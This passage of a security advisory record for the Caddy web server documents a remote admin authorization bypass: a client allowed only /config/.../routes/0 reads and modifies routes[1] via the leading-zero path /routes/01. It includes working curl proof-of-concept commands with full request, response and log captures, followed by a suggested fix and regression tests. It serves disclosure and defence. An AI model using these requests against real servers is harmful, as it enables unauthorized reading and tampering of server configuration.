Steps\n\n ### Step 1: Read the explicitly authorized object\n```\n curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/0\n```\n Observed result:\n```\n \u003c HTTP/1.1 200 OK\n {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n ### Step 2: Read a different object using a leading-zero index\n```\n curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n Observed result:\n```\n \u003c HTTP/1.1 200 OK\n {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n This shows that a client limited to routes/0 can read routes[1].\n\n ### Step 3: Confirm that the traversal layer is interpreting the component numerically\n```\n curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/02\n```\n Observed result:\n```\n \u003c HTTP/1.1 400 Bad Request\n {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n This is important because it shows Caddy is not treating 01 and 02 as ordinary child paths under 0. It is treating them as numeric indices.\n\n ### Step 4: Modify the unauthorized object\n```\n curl -vk \\\n -X PATCH \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n Observed result:\n```\n \u003c HTTP/1.1 200 OK\n```\n ### Step 5: Confirm the unauthorized modification\n```\n curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert ./client.crt \\\n --key ./client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n```\n Observed result:\n```\n \u003c HTTP/1.1 200 OK\n {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n That confirms the client was able to modify routes[1], even though only /routes/0 was authorized.\n\n ## Precise Requests and Captured Output\n\n ### Authorized read\n```\n \u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n \u003e Host: localhost:2031\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003c\n \u003c HTTP/1.1 200 OK\n \u003c Content-Type: application/json\n \u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n \u003c\n {\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n```\n ### Unauthorized read\n```\n \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n \u003e Host: localhost:2031\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003c\n \u003c HTTP/1.1 200 OK\n \u003c Content-Type: application/json\n \u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n \u003c\n {\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n```\n ### Numeric index interpretation evidence\n```\n \u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n \u003e Host: localhost:2031\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003c\n \u003c HTTP/1.1 400 Bad Request\n \u003c\n {\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n```\n ### Unauthorized modification\n```\n \u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n \u003e Host: localhost:2031\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003e Content-Type: application/json\n \u003e Content-Length: 69\n \u003c\n \u003c HTTP/1.1 200 OK\n```\n ### Confirmation of unauthorized modification\n```\n \u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n \u003e Host: localhost:2031\n \u003e User-Agent: curl/8.5.0\n \u003e Accept: */*\n \u003c\n \u003c HTTP/1.1 200 OK\n \u003c Content-Type: application/json\n \u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n \u003c\n {\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n```\n ## Full Log Output\n\n Relevant startup logs from the reproduction run:\n\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:10:51.148\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:10:51.148\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:10:51.148\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:10:51.149\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:10:51.149\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:10:51.149\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0003d7580\"}\n2026/03/20 02:10:51.149\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00026fd00\"}\n2026/03/20 02:10:51.149\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:10:51.149\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:10:51.149\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:10:51.149\tINFO\tserving initial configuration\n2026/03/20 02:10:51.156\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:10:51.156\", \"try_again_in\": 86399.999999609}\n2026/03/20 02:10:51.156\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:11:14.787\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"59932\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:11:22.116\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40070\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\npkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\n^C2026/03/20 02:13:47.114\tINFO\tshutting down\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tWARN\texiting; byeee!! \ud83d\udc4b\t{\"signal\": \"SIGINT\"}\n2026/03/20 02:13:47.114\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:13:47.114\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:13:47.114\tINFO\tshutdown complete\t{\"signal\": \"SIGINT\", \"exit_code\": 0}\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# pkill -f \u0027/tmp/caddy-config-index-repro.json\u0027\nroot@dbdd95a60758:/caddy# ps -ef | rg \u0027caddy-config-index-repro|cmd/caddy run --config /tmp/caddy-config-index-repro.json\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# ss -ltnp | rg \u0027:2029|:2031|:9088\u0027\nbash: rg: command not found\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /tmp/caddy-config-index-repro.json\n2026/03/20 02:14:52.698\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/20 02:14:52.698\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/20 02:14:52.698\tINFO\tusing config from file\t{\"file\": \"/tmp/caddy-config-index-repro.json\"}\n2026/03/20 02:14:52.698\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:14:52.699\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:14:52.699\tINFO\ttls.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc00011d900\"}\n2026/03/20 02:14:52.699\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:14:52.699\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:14:52.699\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:14:52.699\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:14:52.699\tINFO\tserving initial configuration\n2026/03/20 02:14:52.706\tINFO\ttls\tstorage cleaning happened too recently; skipping for now\t{\"storage\": \"FileStorage:/tmp/caddy-config-index-storage\", \"instance\": \"55d383b9-7ae1-4713-89a2-b4106612cdcf\", \"try_again\": \"2026/03/21 02:14:52.706\", \"try_again_in\": 86399.999999659}\n2026/03/20 02:14:52.706\tINFO\ttls\tfinished cleaning storage units\n2026/03/20 02:15:17.145\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/0\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"35382\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:28.746\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"38998\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/02\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46698\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:33.180\tERROR\tadmin.api\trequest error\t{\"error\": \"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\", \"status_code\": 400}\n2026/03/20 02:15:39.610\tINFO\tadmin.api\treceived request\t{\"method\": \"PATCH\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"46712\", \"headers\": {\"Accept\":[\"*/*\"],\"Content-Length\":[\"69\"],\"Content-Type\":[\"application/json\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/20 02:15:39.610\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2029\", \"enforce_origin\": false, \"origins\": [\"//localhost:2029\", \"//[::1]:2029\", \"//127.0.0.1:2029\"]}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/2 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tWARN\thttp\tHTTP/3 skipped because it requires TLS\t{\"network\": \"tcp\", \"addr\": \":9088\"}\n2026/03/20 02:15:39.610\tINFO\thttp.log\tserver running\t{\"name\": \"srv\", \"protocols\": [\"h1\", \"h2\", \"h3\"]}\n2026/03/20 02:15:39.610\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2029\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstopped background certificate maintenance\t{\"cache\": \"0xc000276800\"}\n2026/03/20 02:15:39.610\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0005b6a00\"}\n2026/03/20 02:15:39.611\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/20 02:15:39.611\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:39.611\tINFO\thttp\tservers shutting down with eternal grace period\n2026/03/20 02:15:39.611\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/20 02:15:39.612\tINFO\tadmin\tstopped previous server\t{\"address\": \"127.0.0.1:2031\"}\n2026/03/20 02:15:49.018\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2031\", \"uri\": \"/config/apps/http/servers/srv/routes/01\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"53712\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n```\n\n```\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/0\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 21:59:41 2026 GMT\n* expire date: Mar 20 09:59:41 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/0 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/0 94a6828ccc924cf3\"\n\u003c Date: Fri, 20 Mar 2026 02:15:17 GMT\n\u003c Content-Length: 63\n\u003c \n{\"handle\":[{\"body\":\"route zero\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 21:59:41 2026 GMT\n* expire date: Mar 20 09:59:41 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 ed4a6c7e6ac8890d\"\n\u003c Date: Fri, 20 Mar 2026 02:15:28 GMT\n\u003c Content-Length: 62\n\u003c \n{\"handle\":[{\"body\":\"route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/02\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 21:59:41 2026 GMT\n* expire date: Mar 20 09:59:41 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/02 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 400 Bad Request\n\u003c Content-Type: application/json\n\u003c Date: Fri, 20 Mar 2026 02:15:33 GMT\n\u003c Content-Length: 84\n\u003c \n{\"error\":\"[/config/apps/http/servers/srv/routes/02] array index out of bounds: 02\"}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# curl -vk \\\n -X PATCH \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data \u0027{\"handle\":[{\"handler\":\"static_response\",\"body\":\"patched route one\"}]}\u0027 \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 21:59:41 2026 GMT\n* expire date: Mar 20 09:59:41 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e PATCH /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e Content-Type: application/json\n\u003e Content-Length: 69\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Date: Fri, 20 Mar 2026 02:15:39 GMT\n\u003c Content-Length: 0\n\u003c Connection: close\n\u003c \n* Closing connection\n* TLSv1.3 (IN), TLS alert, close notify (256):\n* TLSv1.3 (OUT), TLS alert, close notify (256):\nroot@dbdd95a60758:/caddy# curl -vk \\\n --resolve localhost:2031:127.0.0.1 \\\n --cert /caddy/client.crt \\\n --key /caddy/client.key \\\n https://localhost:2031/config/apps/http/servers/srv/routes/01\n* Added localhost:2031:127.0.0.1 to DNS cache\n* Hostname localhost was found in DNS cache\n* Trying 127.0.0.1:2031...\n* Connected to localhost (127.0.0.1) port 2031\n* ALPN: curl offers h2,http/1.1\n* TLSv1.3 (OUT), TLS handshake, Client hello (1):\n* TLSv1.3 (IN), TLS handshake, Server hello (2):\n* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):\n* TLSv1.3 (IN), TLS handshake, Request CERT (13):\n* TLSv1.3 (IN), TLS handshake, Certificate (11):\n* TLSv1.3 (IN), TLS handshake, CERT verify (15):\n* TLSv1.3 (IN), TLS handshake, Finished (20):\n* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):\n* TLSv1.3 (OUT), TLS handshake, Certificate (11):\n* TLSv1.3 (OUT), TLS handshake, CERT verify (15):\n* TLSv1.3 (OUT), TLS handshake, Finished (20):\n* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519 / id-ecPublicKey\n* ALPN: server did not agree on a protocol. Uses default.\n* Server certificate:\n* subject: [NONE]\n* start date: Mar 19 21:59:41 2026 GMT\n* expire date: Mar 20 09:59:41 2026 GMT\n* issuer: CN=Caddy Local Authority - ECC Intermediate\n* SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.\n* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256\n* using HTTP/1.x\n\u003e GET /config/apps/http/servers/srv/routes/01 HTTP/1.1\n\u003e Host: localhost:2031\n\u003e User-Agent: curl/8.5.0\n\u003e Accept: */*\n\u003e \n* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):\n\u003c HTTP/1.1 200 OK\n\u003c Content-Type: application/json\n\u003c Etag: \"/config/apps/http/servers/srv/routes/01 a757e3a3168ca4e0\"\n\u003c Date: Fri, 20 Mar 2026 02:15:49 GMT\n\u003c Content-Length: 70\n\u003c \n{\"handle\":[{\"body\":\"patched route one\",\"handler\":\"static_response\"}]}\n* Connection #0 to host localhost left intact\nroot@dbdd95a60758:/caddy# \n```\n\n ## Suggested Fix\n\n The authorization layer should not allow a path that resolves to a different config object than the one represented by the authorized path.\n\n A practical fix would be to reject non-canonical numeric array components in /config traversal and/or authorization.\n\n For example:\n\n - allow 0\n - allow 1\n - reject 01\n - reject 002\n\n One possible helper:\n\n```\n func parseCanonicalIndex(s string) (int, error) {\n \tif s == \"\" {\n \t\treturn 0, fmt.Errorf(\"empty index\")\n \t}\n \tif s != \"0\" \u0026\u0026 strings.HasPrefix(s, \"0\") {\n \t\treturn 0, fmt.Errorf(\"non-canonical array index\")\n \t}\n \treturn strconv.Atoi(s)\n }\n```\n\n Then use that helper anywhere /config array indices are parsed.\n\n ## Why This Fix Makes Sense\n\n This preserves intended config addressing while preventing ambiguous selectors from referring to different objects than the authorization layer appears to permit.\n\n It would still allow:\n\n - /routes/0\n - /routes/1\n\n but reject:\n\n - /routes/01\n - /routes/002\n\n That removes the authorization/resource mismatch.\n\n ## Suggested Regression Tests\n\n 1. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/0, expect allowed.\n 2. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/01, expect denied or invalid.\n 3. Allow /config/apps/http/servers/srv/routes/0, request /.../routes/02, expect denied or invalid.\n 4. With PATCH allowed on /.../routes/0, verify that /.../routes/01 cannot modify routes[1].",
"id": "GHSA-x5w9-xh9r-mvfc",
"modified": "2026-07-20T13:43:05Z",
"published": "2026-05-19T15:51:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/caddyserver/caddy/security/advisories/GHSA-x5w9-xh9r-mvfc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45692"
},
{
"type": "PACKAGE",
"url": "https://github.com/caddyserver/caddy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Caddy: Remote Admin Authorization Bypass in `/config` API via Array Index Normalization"
}
Mitigation
Thoroughly test the comparison scheme before deploying code into production. Perform positive testing as well as negative testing.
No CAPEC attack patterns related to this CWE.